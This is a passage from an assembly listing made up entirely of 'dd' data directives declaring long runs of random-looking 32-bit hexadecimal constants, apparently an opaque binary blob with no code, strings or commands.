0CC9F3131h, 12C5ED1Ch, 0F7C46D84h dd 69CAD931h, 0FBAA99CDh, 98081886h, 434AEB2Dh, 0D91B465Bh dd 0AE30596Eh, 5E2BF88Bh, 6570916Ch, 0F10EC43Ah, 0DAD533E0h dd 1F8192EDh, 8B5C31D0h, 0C49D37C1h, 16741B68h, 631125A8h dd 0E7253510h, 789BEBE3h, 0E0319615h, 0D59EA976h, 8F6F8028h dd 0D62B6E5Fh, 0FC416A66h, 5EF1B74h, 4700CFh, 4926BFF5h dd 0C4CC498Ah, 21297774h, 0EB763C73h, 24AA3D94h, 8B91EF34h dd 82181F24h, 598E5F32h, 690FA713h, 47E0ECDh, 5C098451h dd 2D261D6Eh, 50541ECDh, 0CEB60F69h, 0A5ACE186h, 70380DDCh dd 0E20A3B3Fh, 0B6503A06h, 7099EA9Dh, 0C6A4360Ch, 3926A621h dd 41665F55h, 0ECBE6628h, 4FE54F29h, 0F45A9965h, 0A6A70C65h dd 1C5F9411h, 0E31BD6CFh, 40FC0E2Bh, 0DCEF102Ch, 2E83BFBh dd 6ABEA2A6h, 0B37DCFCFh, 93A8B493h, 9A82D953h, 0D2D87059h dd 390AD0B9h, 4AB5DEC2h, 331B220h, 47AD95A3h, 0D33D6A9Eh dd 4A4FA895h, 0FC836493h, 8027D0B1h, 0F9A68B4Ah, 9AC6D52Fh dd 0CB1F0F96h, 0C443A344h, 682CBFF8h, 69496B92h, 7164C103h dd 0B8694609h, 0FD3CC3FFh, 0E66D8D77h, 4E800E89h, 0FE1FE905h dd 0E0CC418Eh, 7A9BE1BDh, 0DA979C65h, 3119359Fh, 37A38552h dd 22D24A3Ch, 52B23FB8h, 2E316B05h, 0E9E0F43Eh, 6A04846h dd 4AA0EF1Ch, 0D77BD111h, 3B8F20FCh, 0BB3C694Ah, 0FB9B2D7Dh dd 316DE867h, 2C196234h, 72F4599Eh, 0AF80A8B2h, 0C7F32A6Ch dd 0E81880F0h, 3221E0E6h, 0A1346DF7h, 6426F557h, 862353F0h dd 427E833Bh, 0CF4E692h, 26648E33h, 9379710h, 0F59CED0Eh dd 0AC69446Bh, 0C3991F1Ah, 7F825A82h, 162CA528h, 0FE8F37Eh dd 7190C365h, 755A4B9Bh, 0E7895B21h, 17D91CFBh, 235D9D11h dd 849B04E4h, 0B31C164Dh, 455B9B32h, 0DB5D7F51h, 7C11C202h dd 1B66D4BBh, 0BE298484h, 0CF010A9Ch, 0D6194411h, 0BA126CC2h dd 1D6B9FD5h, 8D3E7377h, 44C7BB5Dh, 0F3BB96E4h, 96B5752Eh dd 0CD90BBE7h, 3FFEB5C1h, 980F222Eh, 3908A366h, 0A3521D96h dd 0CD45911Dh, 0A4561539h, 0DA1A32F6h, 3A06C91Fh, 0EC988ED4h dd 8EB89E99h, 0AF41B33Dh, 1EDBA20Eh, 6C5FFAD9h, 0C412EDF3h dd 16DDFBE7h, 3F8553BFh, 0C774B3BFh, 0C3EBA138h, 0FAB3A5F3h dd 387B5955h, 0E0BEDBD2h, 2A775323h, 0ED372EEFh, 56DBB2A8h dd 3771BCA6h, 434ADF0Fh, 0C4FE9FC3h, 0ED0117AFh, 0CAA83706h dd 641902C8h, 1B5E0A62h, 66D4B738h, 78E5B40Ch, 9EB94C94h dd 62DD2715h, 968A9E0h, 0DC29CBF1h, 948539C0h, 90B30607h dd 0AF0C7A8h, 931E8FF3h, 783D3177h, 0F380605h, 1F9927DEh dd 2AA0964Ah, 0DDE02C4Dh, 2C2AD038h, 4784288Fh, 198310F8h dd 882B6EC7h, 0C919AD3Bh, 562DEB03h, 0BA00B53Fh, 0F401BEBBh dd 8EA5C990h, 4323967Eh, 1DD73385h, 9AE886F9h, 0A537748Bh dd 0A454BB5Ah, 0D92D443Ch, 0ED34E40Ah, 3AF5D7D7h, 345B0FE0h dd 2B356C73h, 0E56506h, 5A19CEC6h, 552B0213h, 68438C0Fh dd 6510B9FEh, 152B96B5h, 98F91315h, 60C17FCAh, 0F7643412h dd 472B36D5h, 32252B28h, 38D16A50h, 21061483h, 0ACD40334h dd 3E619840h, 41A29D3Dh, 0ECAF09Ch, 0C4C3966Dh, 7AEEFE61h dd 0C43CADA8h, 97CF9A2Bh, 48CA87B9h, 72867DB1h, 43D61797h dd 231C3AEh, 7DFD9E60h, 484095B6h, 0D8EAACCDh, 21BE4B98h dd 0F2DC98F9h, 0CE183436h, 4F09E76Dh, 0B31A6DB7h, 30271A6Fh dd 0D2E06523h, 0C12305BAh, 8ED51693h, 0D006560Ch, 0E31D59B3h dd 1C07DD78h, 2245D008h, 99B919C2h, 17D887A2h, 407DEDBCh dd 62F52F27h, 4C0B126Eh, 529C3BD1h, 0E5B1B4A6h, 0C13204B3h dd 2392E28h, 4E0E08C3h, 285B2900h, 0CB6CEE21h, 5040E062h dd 0F4953E5Eh, 38A2FE1Dh, 3BEB34E8h, 0E8CAE187h, 0EC124DC3h dd 0A0A57090h, 9D9C11B2h, 9614B568h, 10A4BED2h, 9355263Fh dd 0C3B8692Ah, 73031162h, 0A8B5FFB4h, 0AA23C82Fh, 48821E28h dd 8C605B84h, 0D3BCA99h dd 0B8A4F9F6h, 3E5A8E17h, 48D6042Dh, 0E5D1B0C9h, 97C5C73Dh dd 0BC385A1Dh, 70108016h, 17FD9560h, 1F2296D1h, 52727870h dd 832545DAh, 7978EFD3h, 346C9925h, 17615334h, 0E79E05Bh dd 0D9C4F714h, 7DE2077Ah, 0F3948A42h, 0AC9F8895h, 30953284h dd 3E060222h, 1FF49394h, 4A699C34h, 1E5B8C78h, 12D8A324h dd 0A4D961B7h, 53CA72BCh, 86A0FDFFh, 11C5EA5Bh, 6F02EBF0h dd 582FD4Fh, 0B9B853DBh, 1E3FC40Fh, 6335D58Dh, 0BCD67021h dd 44C1938Ch, 4B5F19Ah, 995C09C2h, 3DC44169h, 796A70h dd 0DC859D92h, 3637CC3Ch, 0F450AEF0h, 34C090B7h, 0A2766707h dd 50964F89h, 0FD2B2049h, 85E8B283h, 0C31DFC2h, 0B292F097h dd 0B000660Fh, 13E6B407h, 0B5768061h, 0EA5C832Ch, 725A922Fh dd 0C6957317h, 41E98F25h, 0C6A16134h, 656924C5h, 99F5E551h dd 2335A38Ah, 6B6E1AA4h, 0F7B95AEFh, 0F4A7839Ch, 0B14FA663h dd 2CB9DD21h, 17688E04h, 8DA06645h, 5ADAA240h, 161B503Bh dd 2E6F78FDh, 0B92BE42Bh, 6F5D0463h, 45663571h, 7D510B65h dd 0BFDE724Eh, 0F026EB6Dh, 0BD84CE03h, 0C19C5F9Ah, 2E009E7Eh dd 248634B7h, 87DAC5CEh, 45100DCh, 2E71A561h, 417DBE98h dd 65BE414h, 0EC7E26CFh, 0FE368CDBh, 8B6ACB50h, 88070613h dd 55A13AC0h, 0E02D6B6Eh, 6BADC21Ch, 45174180h, 0AA65D698h dd 3E08FFADh, 3F15C8E2h, 221345A0h, 478DAC99h, 0D329329Ah dd 0F6CDDC1Ch, 0FDB2D8C9h, 0BA6770E1h, 0B31DE65Ah, 9A916E39h dd 0A1D00146h, 0AAC48D94h, 0A384249Dh, 21AD5452h, 69C3E4D7h dd 211E67B0h, 20C4C9C6h, 0FACAF395h, 71896A99h, 0B5D86416h dd 7F96EFB1h, 0F241B602h, 0EA4062C2h, 98360DA6h, 0F742CD6Ah dd 0A11C45B5h, 0F9A9812Dh, 575CE600h, 30710116h, 6A43A6BFh dd 170F6C72h, 15DE4511h, 0A73DFDB5h, 0C1AFF2h, 88A0BA51h dd 6D5B1A09h, 5474D2E3h, 3EC1118Eh, 539D1C00h, 0E2A8DCAAh dd 0A9E36006h, 0AB2E58F7h, 5F1E30E5h, 56F6AACAh, 0E2D38D4Ah dd 0A0BAF598h, 518BCC9Bh, 5799E16Ah, 7146DFBFh, 54E4D48Fh dd 9CBD1610h, 0EA99B8h, 8079C90Eh, 0F9801BA4h, 62B4EBA8h dd 9613B65Bh, 2DC1AB81h, 4E807054h, 3E71826Ah, 4E1B128h dd 0CC3795F4h, 5BBB8EEFh, 0AD93C2DFh, 0ECCDAA0Ch, 508B2DCFh dd 16AEB45Ah, 0D45481B6h, 1A6BBFE3h, 0D6884F06h, 9F087B76h dd 0A5998FF2h, 0B4B7AAF3h, 53EE9A08h, 0CE304B2Eh, 18A9BDA4h dd 87CC2DBFh, 1EBD0D0Bh, 8E1E4FABh, 8CD84A6Eh, 8AD4869Eh dd 0E0827926h, 3E744450h, 9B9B9AC7h, 6946EBF5h, 0DAC21CECh dd 0D0C858B8h, 746C3CD9h, 7CCABED8h, 0BB9FC770h, 0CB83354Fh dd 0EC953AFEh, 0B8AD75B3h, 0E52E99CDh, 95787C86h, 76E361B6h dd 261C136Ah, 4B2BF9Ah, 341FA884h, 49FB506Ah, 0D17F6A99h dd 618795F7h, 70B9C084h, 93A73B58h, 9367DF16h, 7587BC70h dd 4562EAF1h, 0D50B8CEEh, 0A9CD4329h, 1392A8A5h, 3A7AD436h dd 0F258735h, 51452876h, 97C21ADCh, 1CCA0193h, 0DEC3968Fh dd 365461ABh, 0DA42331Dh, 0B2658E7Ch, 0E853B1EBh, 85EA109Eh dd 0C3E9E4E0h, 0E8AA0152h, 0A30E34CCh, 5D75AFC1h, 81087B8h dd 0FD20894Ah, 0A7CD1EB3h, 241D1132h, 0C2225C20h, 266EB92h dd 0F7406020h, 0F7841D4h, 0CF9597BAh, 28940A68h, 998AA1F1h dd 7093F0F3h, 564121C4h, 0B27F1008h, 0FEC2DFBh, 5F36187Eh dd 0D2763E87h, 47C0BBC5h, 93330921h, 0FD80991Ch, 134CA95Dh dd 0F76B50CEh, 72205758h, 3A50858Ch, 1D3D0CBBh, 0C56ADBC5h dd 0AD4B9133h, 8235554h, 794A102Ch, 52907476h, 8F01D220h dd 0D6D5D375h, 0B84B848Ah, 0B6491B14h, 97DD19E3h, 16D663D1h dd 9E0EAF39h, 0D524C178h, 0B1A9FE46h, 7719300Eh, 0D5599773h dd 2BFAE72Ah, 148602F6h, 0B06B4830h, 69EEACADh, 0FFB06181h dd 1EE7C208h, 83D80664h, 98AD846Fh, 2370854Dh, 29B07969h dd 42F6BE4Dh, 0CCB2B928h, 1C04506Ah, 381BDE40h, 5E380713h dd 6747782Fh, 0ECD7B315h, 0AB5969D6h, 6ED955A0h, 794E6D4Dh dd 2227F917h, 6706D415h, 4DBAEF16h, 0EAE86CD7h, 0DFED3D5Ah dd 851B967Eh, 0F07DFC36h, 53D5D56Ah, 0ADC8BB18h, 90B5D4EEh dd 3325F960h, 8B766B29h, 5E1AFFE5h, 279D004h, 0A30A0ED0h dd 0F2AE70F5h, 523FE3E1h, 0CD74E1ABh, 0BC311D6Eh, 44F93751h dd 875EC50Ah, 5ED3D371h, 39E51CE7h, 44466C7Dh, 0CCDB5FB6h dd 8F461BCAh, 0C790ABFEh, 0C6740C08h, 137BA0CDh, 527BBDC0h dd 571342A1h, 0A7A10E81h, 9917CABBh, 6BF501FFh, 5A791F38h dd 85D3E64Eh, 493B37CEh, 0EDC3A9D6h, 0B7AE5E44h, 0DACC359Dh dd 33975E4Fh, 0B8A14B10h, 9B110A03h, 0A8818AFFh, 0A7B1BC79h dd 174DAC44h, 3BCDA05Bh, 4AAC8540h, 1482AE9Fh, 0D1D23595h dd 81DB2B9Ch, 0CDDA2B7Fh, 0FA26DC6h, 4F0A17BAh, 0E01D8F6h dd 1085C233h, 0DACB4A13h, 0ABEE670Ah, 331E7CDFh, 8D254F1Bh dd 0C1E6AFD8h, 709133E6h, 55EA747Ch, 3B3D8E04h, 31BAD0B6h dd 9AD34FBDh, 0A267EEC4h, 0F9127663h, 0D4DC30D7h, 0C9C5DF90h dd 0C3819F07h, 702EF4EFh, 2C7066A4h, 0B4ECD625h, 0C87BB7Dh dd 9B0418E3h, 7CB27155h, 0FFE278FAh, 9A57EB2Bh, 553A55DFh dd 0EF84C939h, 50E54736h, 0C6B6F07Ch, 3829F5ACh, 0D1ED4139h dd 58E18BFh, 0C0B2E0ABh, 7286AAADh, 733FE809h, 0F9316933h dd 0BFDFD401h, 6F424BA8h, 209FC17Ch, 64E879B5h, 459F3C81h dd 8593CDC8h, 0BBD7618Fh, 592F238Ah, 1EBD3FABh, 4C112792h dd 9523C469h, 2872917Bh, 4EC12081h, 15897FEh, 0A115213h dd 0FF389A6Fh, 0CEA46556h, 0C3C6FA2Fh, 24B30B55h, 0E599EE8Ah dd 0D28A45E7h, 3AF030C8h, 13360C3Fh, 7978138Dh, 0F784B24Ah dd 9DF241E6h, 7A74549Ah, 0B3602515h, 58C4250Fh, 717A75ECh dd 0EB29C8FDh, 9B70EDE4h, 69429CB2h, 17F8FEA2h, 0ECAE5F2Ch dd 8ED1987Eh, 286DC623h, 0DB755139h, 8EC936A0h, 0CC866324h dd 5B29223Ch, 1BF5D911h, 838F0BAAh, 8E243112h, 0D413FBC6h dd 0CD907014h, 0CA038D1Fh, 44F0B953h, 0F1A3378Ah, 8C4C7551h dd 0B9360343h, 0E885BAFEh, 0C9AD2207h, 9D06D999h, 0BD76178Ch dd 3BFEE1BCh, 4A82AE93h, 4C8B8E31h, 433C365Ah, 6C2382E7h dd 966C9ADAh, 0E65490FCh, 72B979F3h, 898A5522h, 1978B317h dd 0A792AC2Eh, 0AE76D39h, 0FABF10EAh, 0E4B85C0Bh, 3B368E12h dd 0D9B312A3h, 17D8A807h, 0B96A437Ch, 0FCC9BE9Bh, 0D43DF72h dd 0E94F415h, 65524BE1h, 282D99BCh, 0A43B1EB4h, 0F07ED956h dd 9B8CE35Ch, 56EF58B6h, 64F1B67Ah, 0DEA27F35h, 147E5F60h dd 5E7A1227h, 73375F53h, 73A5A591h, 7470600Fh, 95ECE5FCh dd 7F2A59D5h, 7921B0A7h, 0E97E62F5h, 370E9D1h, 204115A4h dd 5F458BFh, 0E22AAF4Ah, 61919CF3h, 2840BF1Dh, 6B61A151h dd 0D49DD033h, 0C160F7BBh, 43006074h, 8CDC006Ah, 151EC5DFh dd 45486675h, 1F98325Ch, 0A71F6DD3h, 14CA932Eh, 35AAF16Dh dd 72CDAB55h, 43D3B9FDh, 21A631A4h, 0CD14D41Ah, 178BC3AFh dd 236BB486h, 3B7DD365h, 555A79CEh, 0F500383Dh, 3639DCFAh dd 92248AAEh, 948FF1DFh, 0C8BCDFF5h, 46B13A7Ah, 0DB5CAE5Dh dd 0EE38788Bh, 0DA1B5BDCh, 89A8C95Ah, 5D897668h, 0D28B4115h dd 481FC95Ah, 0F33FB355h, 0A59E7EDFh, 8641601Dh, 0D7E7BA42h dd 9860275h, 6A78F871h, 81C90F3Ah, 0BFCC8D85h, 0D9C6ECD6h dd 850D0BAFh, 463850D9h dd 36B3C5D8h, 0EAEAA646h, 0DBD2049Ch, 0DE9536CDh, 0A2CF6A5h dd 922781EDh, 0A551E4ECh, 92976141h, 0FBA793AEh, 98D4CC2Dh dd 0C5427D76h, 0DDD80229h, 807B10C3h, 72D6DCA7h, 0D5173C2Ch dd 13612003h, 9C4FE964h, 1CF92B06h, 0BD4D0E03h, 0F5913C39h dd 0DF8F06D9h, 0CC996386h, 3818D5E0h, 41E3CFBh, 4466D12Bh dd 8F8A3CC3h, 0A5D20A3Fh, 0BD612756h, 20B480EDh, 55522816h dd 1B8EFA35h, 7B005D39h, 7A97C6F4h, 4CADEC4Fh, 542D5D1Dh dd 0FD17E311h, 712EC710h, 8E38BB99h, 309DAA10h, 82BAAA0Ch dd 0B7FC3C01h, 8B086E7Ch, 633E3618h, 0D9D4B867h, 38AEB16Bh dd 4D00B1E6h, 0A4B7C191h, 0A2E483B7h, 8C4D040Dh, 8BE2E885h dd 76B21C8Eh, 0D2EDB277h, 583A479Ah, 0D978997Bh, 0C7A03ED5h dd 857DFD8Dh, 305C7785h, 5D0CAD54h, 1BF6A57Dh, 0F7040C4Eh dd 0D5356B00h, 407A1C08h, 0EC71FB2h, 205E7DC3h, 0A61A7A7Ch dd 4BA9657Dh, 0DD403986h, 0A2DB7495h, 0DF188A6Fh, 0F422C28Fh dd 8491A3B8h, 8D3B5CA4h, 0AAA4B31Ah, 301AF335h, 5BB894B3h dd 3681F0A6h, 0C1FB13BBh, 0D3240A9Ah, 0ABF9FAC8h, 6416A996h dd 0C4A60A9Ch, 0A55549DCh, 0A79170BBh, 84770EA1h, 649108BAh dd 9EBDB28h, 0AF2EE83Dh, 9DF60D3Dh, 58B677A4h, 8C164157h dd 6A90D137h, 0D8C556D6h, 4065E9CAh, 9911FCA9h, 3F76A576h dd 9C6BA8BDh, 53DB0840h, 355820A6h, 7B25D571h, 0A9FA1341h dd 0C5351719h, 93A4A7EFh, 19491172h, 5121B9B2h, 0E1FF8A7Ch dd 0E1EBB422h, 0C1BCDFFBh, 81E7B0F8h, 96F7BAABh, 372C7767h dd 9938E125h, 9CDF9F85h, 969A27C4h, 912335CEh, 3D2BB2C4h dd 0AD5ED235h, 0C7A178A6h, 0FBD0A42Ah, 0E82EDCFBh, 97014784h dd 4C180902h, 2C2244BEh, 908CA07Fh, 6C57EDF3h, 8487DAB4h dd 497CDD07h, 0DC9D49E9h, 9DAB2500h, 6642D1E1h, 5C7FD068h dd 974CF1DFh, 0E9DC70E7h, 81040D24h, 0AE65F08Fh, 4928A52h dd 0F82D4B21h, 81AFF63Dh, 44D70B4Ch, 32D02A2Ch, 70526038h dd 91C03816h, 335EE6D7h, 2828D525h, 0DEEC3B7h, 451A7300h dd 58F08510h, 34B5F8E0h, 45AAA21Dh, 0F561B999h, 0B5871EA4h dd 4010B4E5h, 46049A1Ah, 0DEE6CD71h, 5EF36B5Ch, 6AAC6D93h dd 0AB9536F1h, 175DB8B3h, 0C2865A21h, 21DDF85Fh, 52555FA9h dd 0E8CE72C7h, 39CAC93Ch, 3EBBA207h, 0BF11EBCEh, 57D26A78h dd 0E94BA83Ch, 0A617DA29h, 1D894DD3h, 0F7AB66E5h, 7497FC0Ch dd 0F0F4A972h, 6D7E9B2Ch, 0BB7CB5E8h, 8226BA81h, 9A80421Ah dd 0A102B907h, 6F4B863Fh, 0DB939D9h, 646220AAh, 0A8FA7EDh dd 76201E10h, 0FEA4B681h, 0EA8D17Dh, 77D37785h, 0DCEACB7Fh dd 0BF1D6EE7h, 0CE0D5F7Ch, 1EA4AD9Ch, 0C162B0FEh, 0ED808A9Fh dd 17ED5DB5h, 0DE90729Dh, 6E1D1BE8h, 73A3A2D7h, 905875EFh dd 61BDB1B8h, 6B415476h, 0CCE90DEBh, 0EC575D2Dh, 4A34E414h dd 75BF4AC8h, 8F88F015h, 3F0B9B69h, 8B47565h, 0A36F7379h dd 64ADB841h, 1FC3ACAFh, 4EB50C25h, 494BF0Bh, 0E21762FFh dd 0F671216Dh, 132D4406h, 0A1E733BEh, 9FAE451Dh, 0FF3706B8h dd 83084735h, 0D35EA9B3h, 99B6708Fh, 212D9576h, 4CA924A4h dd 0AC089478h, 0C259FB29h, 0D76C76F3h, 0C9BBC4DFh, 0CAE24295h dd 0EA231C8Eh, 80B084CEh, 0BD115370h, 559AC0BEh, 0D3617D7Bh dd 35C2F655h, 5A8E06DEh, 58FA6C93h, 62F5201Eh, 4D27E802h dd 0F2830017h, 982E3EEEh, 751DA717h, 4C9B9F34h, 0F8EFDA55h dd 0D9503D93h, 0AA9C34Bh, 8850A553h, 0C2C1C0F9h, 1DA1F57Bh dd 0C3F71F7Eh, 279F7634h, 524263D2h, 0F0F6880Dh, 48356942h dd 0EC9A4684h, 97F2584Bh, 0A3C89E31h, 9480CACAh, 794BA006h dd 0B7D64BF7h, 8B4CF5CFh, 8D4E8B86h, 1278490h, 55109F05h dd 0E512B298h, 0B12680FBh, 0AC7300F3h, 3C217CC7h, 0A59618D1h dd 50EDD9FEh, 486E3087h, 588ED704h, 1DA6E8AFh, 96E62C72h dd 3D24ECEBh, 96259F42h, 0F53ECA29h, 7FD65616h, 0A9BFDA21h dd 31450AB1h, 0A7E06CB9h, 513CE392h, 665EDAB5h, 0A88CA1C0h dd 29610B81h, 9F387C08h, 0E7947A9Fh, 5C8CA805h, 554CC713h dd 501504D4h, 9522B2ACh, 3A347216h, 0F3107C76h, 67627521h dd 667F2BAAh, 0BDE6C586h, 8C6715A4h, 0FA08E9CBh, 62C4AC57h dd 84997BFFh, 33B8B35Eh, 1B8E2CA7h, 0DFE99D8Fh, 0F4592999h dd 108A8797h, 1800C44Ch, 0E9D2AAC5h, 6E45C8D5h, 4F588EBEh dd 0C8BE284h, 9F3D2E1Ch, 546CFC38h, 0BCFC1487h, 0CD81CD63h dd 0C9166AABh, 0FCD9D1F9h, 27017A22h, 0BEA759Ch, 18163360h dd 433339B4h, 0F5F413E2h, 30BE86E6h, 0B57CA74Bh, 0E5E139D5h dd 0C3C3E86Ah, 0EB5345CBh, 1E256DD6h, 0FA4B71C8h, 1883C25Bh dd 3B282E07h, 0C37C28EDh, 880C62F3h, 0A413B691h, 0D79C39BDh dd 65647E04h, 0AE49D2B5h, 38CBA1E6h, 62305FF8h, 9375740h dd 38625520h, 3426B75Bh, 22024FEh, 242B7CD6h, 0F08A1AB3h dd 0A8EC4EBDh, 69C1349h, 1CACDD84h, 13C93128h, 5B2E76BCh dd 0B428902Ah, 851B4BF5h, 0F491F510h, 1999B0AEh, 0C0DD900Eh dd 0BAC1B0ECh, 19793101h, 0CD568B3Dh, 1EEA7DF1h, 0AAB19D53h dd 58FED81h, 17E95D6Ah, 331AC426h, 0F433FA3Ch, 0ED1653CFh dd 8162B090h, 1B447C2Bh, 339C0604h, 708C84A2h, 57BE1AA7h dd 65B60ED1h, 56BCC1E8h, 0B6AB4822h, 8CD9E479h, 0FBC2ECE3h dd 1BB6163Fh, 0F12ADD04h, 2D76B7D1h, 5A7BDF25h, 0E51ADB80h dd 0DEB544E2h, 476B99A7h, 0BFFEFB81h, 0E1FE3985h, 0A77CA2F0h dd 5F1844A4h, 12D6AE32h, 0EB8F46B8h, 6575070Fh, 8824CA36h dd 20ECD263h, 0CB037C42h, 3A9BA044h, 85B85BF9h, 0B4C7B5B5h dd 11822718h, 23316824h, 93268F94h, 0F5AAD6FFh, 0C4652EB1h dd 67A0E8Fh, 849F49EEh, 0ADF04244h, 0CF57EE82h, 907E2FC2h dd 0B9BCBA5Bh, 81144919h, 0DB59E94Dh, 0B2361003h, 8A80FF3Eh dd 843D2D38h, 95877006h, 0CE31AAF8h, 4BFE066Ah, 4D447097h dd 3C0DFC51h, 0EC6BE1D2h, 0D5713482h, 7F569BD3h, 429F9C5h dd 6957E620h, 8F0C8BB6h, 0DABA9376h, 20E3D6C2h, 0F13D879Fh dd 0F6B1F97Ch, 0CDB93427h, 0AED9A350h, 0D5752129h, 483ED1B3h dd 0BAAF4EF0h, 17B0EB5Ah, 0BEA391Fh, 0FA7ED0E1h, 765151EAh dd 2E2EA23Dh, 0F8250FE5h, 0C7D34DE4h, 0F945E3C0h, 0E917C6E2h dd 3DFAA702h, 0AA8DF221h, 0CABF7EC6h, 52ABB632h, 0DF942139h dd 3FFDCE3Fh, 7FD942F7h, 0D79435BCh, 0FC9B61A6h, 427F0636h dd 0F700595Eh, 68950984h, 8096F9A2h, 7A0D85F3h, 85FD39FBh dd 0EBD0C856h, 618EE212h, 827BDF90h, 0CAEE485Eh, 0FB08EBB3h dd 808771FDh, 3D9B3946h, 0E702D8A2h, 0A9EBC35Bh, 3173C73Eh dd 2FFDFAF2h, 0C72C520h, 0EFD64989h, 663EFD78h, 23D2B4F6h dd 7F4B515Fh, 0CE865571h, 0E97B7942h, 987048DDh, 508DF7BCh dd 0CD3D63D8h, 2119C12Bh, 0FE3540ACh, 1CB65E91h, 0E44F1444h dd 0D79AD334h, 29B730B0h, 5B06E7B7h, 1759B240h, 324C7324h dd 47B8A96Ah, 8B7144B7h, 0D479D265h, 63688C20h, 0CA42F2B6h dd 0F7B16B57h, 38E3D95Eh, 0A75A8B9Ah, 0F98CBE2Dh, 0CCD098C9h dd 59B012EFh, 7E1B891Dh, 86E1F072h, 77F8DE3Bh, 7D2B1B58h dd 6D10CC3Dh, 98BB4F78h, 0ED590762h, 852F8641h, 0E764F218h dd 0E5214C02h, 156D4EA5h, 3AD014ECh, 8A4A9D6Ah, 0AD97CB27h dd 1A9602C5h, 7322A47Fh, 945265B7h, 96931051h, 0FF1110B9h dd 0F1252B26h, 9719AA54h dd 139F0174h, 0A46C8C40h, 760C007Ah, 79FC1677h, 996FB576h dd 9EF7D6F9h, 4D49562Ch, 798CB894h, 9B27CDCh, 0CFB613BBh dd 86B656E6h, 68E57E5Dh, 0DA5DE7F9h, 0A5C0B8C6h, 8B9D8447h dd 0EDBECFC4h, 0AA5BFC37h, 1FCAFDE7h, 8D9D130Fh, 5118A45Bh dd 64706CE9h, 0B413C005h, 0F266D07Bh, 0FB5F3322h, 0FE6463B3h dd 348E8495h, 8D644D61h, 4E11D91Ah, 8635268Ah, 0F0381729h dd 0FE503A8Eh, 8AB385E5h, 3FC3E0B7h, 9269287Fh, 9EDFEE71h dd 4E0F7205h, 96ABBB04h, 0FA9969C6h, 0DBCFD169h, 3934A957h dd 0D07EF6C2h, 68C9D29Dh, 5C3B436Bh, 936EC847h, 6C068CBFh dd 0F2F0B8E1h, 97744B05h, 4D8A6037h, 0ED7835EAh, 0DB81EBA8h dd 628CC37Bh, 0EF2D4804h, 96822476h, 0FFA62D8Eh, 848A74C0h dd 0CE2D7CC9h, 0E9E287C2h, 25FA5A6Eh, 0FDF3B24Bh, 31E1FAB2h dd 92E1030Fh, 26DAC0ACh, 0A1CF0AF5h, 0F4EF7A96h, 4CE67CA5h dd 0DEABC469h, 0CC16F833h, 20BE7AC4h, 0B4889A73h, 0CA94BF96h dd 0D130C41Ch, 0E0E914B2h, 147DC8ADh, 9794ACECh, 36A63270h dd 18246640h, 834E76E4h, 0C3F3CA47h, 1989E5D2h, 983CF3C4h dd 8BD10EC1h, 28AFD7B5h, 24DB52AAh, 3DDB405Ah, 748971BEh dd 67906B3Fh, 0FE5F8A6h, 13CD5526h, 0D3CEB0B2h, 552618EDh dd 66061875h, 24F04629h, 9763F583h, 0CAF432C2h, 0EF24383Bh dd 1B9791B6h, 0CE3A3C8Ch, 5C6E5193h, 6476D303h, 0E8BC51C2h dd 0B72420D0h, 0D7CA2B5Ah, 3172FE62h, 0AF712B23h, 0D83344C8h dd 634E7F90h, 0C7A0C068h, 7550A726h, 0AFA0E2B1h, 4B549DFDh dd 787F8FF1h, 3803854Ch, 140DD11Ah, 4FE3BB9Fh, 31342C92h dd 773377DAh, 40F33ABBh, 589F1EDDh, 7761D558h, 3AC2E19Fh dd 0BFCFAE18h, 3499C49Eh, 3532FD2h, 7F1AD99Ch, 0AD42ED71h dd 0D30E7A97h, 3EEEF25Fh, 6FD72EB7h, 7556EE45h, 0A373E065h dd 7AFC350h, 729924FDh, 7C00CCC9h, 0F2138EDFh, 5B35DC22h dd 14859929h, 0C91D457Eh, 24DCEE6Ah, 0F1FCA5C7h, 0A0CB5651h dd 49B65B4Eh, 792836E6h, 6EC1C797h, 86880BDEh, 1C3DCEAAh dd 2666AF1Dh, 0A411ABF0h, 0FEC60558h, 0A9A0D4CAh, 0D74D8906h dd 0F8238868h, 27F838CEh, 0FC79C44Bh, 0E02887F1h, 5234E44Dh dd 6CDBC0A9h, 5D5DF9FCh, 57AE506Fh, 973B9979h, 0C89C9075h dd 4AE292E6h, 0E93409A0h, 6937CB38h, 7CC1CE45h, 2C1AC1B1h dd 904009F2h, 231478D8h, 0DFAA9375h, 554CCB17h, 9D348EEDh dd 8D7DDB32h, 0AAAD8E0Eh, 0C42A1785h, 0E21174FEh, 93F040ECh dd 0D897DE86h, 0B36D9154h, 0DB3F775Dh, 895AEB92h, 1F113355h dd 0DDFE1F05h, 0F7BD49A4h, 946F5876h, 0DFC0299Ah, 0F743F1E9h dd 8AA85711h, 2799C35Fh, 99F7748Dh, 726E5A3Dh, 1C3D91D3h dd 0C4C0FE04h, 181F4AFBh, 6F366261h, 2016C477h, 41751DC4h dd 7E487B35h, 8D3F7B14h, 81671CDBh, 3786128Eh, 37D1C43Bh dd 0A6DD3B3Ah, 8ED2A7FBh, 9AFEBCA4h, 924E98D2h, 352EFBFAh dd 869BFAE1h, 0D0241FF0h, 4895B2B6h, 0B70C8BFh, 843409DFh dd 0CD921EE4h, 0F3B03F97h, 6F9C4539h, 0FD9B9023h, 0F973A34Ch dd 1916FF1Fh, 8EAD4C55h, 4F803C4Bh, 861E6D00h, 301C984Ah dd 0E4694349h, 0DADFD35Bh, 0F7106FD7h, 7C24B5ADh, 0E5D77CA6h dd 0CAFD6BF4h, 0DAC7CD93h, 0F6955DD7h, 3D75DF30h, 95382A95h dd 478F8FBCh, 67E14362h, 0E0D2E3DFh, 0E8273D3Bh, 288823F9h dd 4BA37D37h, 0F8858159h, 0B68045C2h, 25D77F85h, 3BEBAB5Eh dd 4EBD9632h, 11959263h, 0DB9193E3h, 0BBB0C18Ah, 7AC1E770h dd 0AB2B3933h, 0ADF46094h, 0B1B274E5h, 92CB4F3Ch, 9CD03E73h dd 3FB0817Fh, 0EBC73706h, 41B207ACh, 0B853C9E1h, 3DCD4E6Eh dd 0BB859FC3h, 16AF14D0h, 668F036Eh, 0E01B5DD1h, 71F67BC4h dd 131CF674h, 0F96A1EDCh, 6767DEE6h, 0AA3DB5F2h, 4113DBBDh dd 62B4D682h, 0D958C9ADh, 0F7B619D6h, 59F04873h, 0B61B8A26h dd 0DD22A140h, 0C7B98B3Bh, 0DB2162EEh, 249BC39h, 0E14EC130h dd 90D90715h, 0DFC4C77h, 0FA222C1Eh, 5D4072DFh, 0AC7D47B8h dd 0BEDD4EAh, 7AC2F495h, 5A80FA1Eh, 0AEF2624Bh, 0C9CF78F9h dd 22A50F0Ch, 42715AF4h, 7DC15413h, 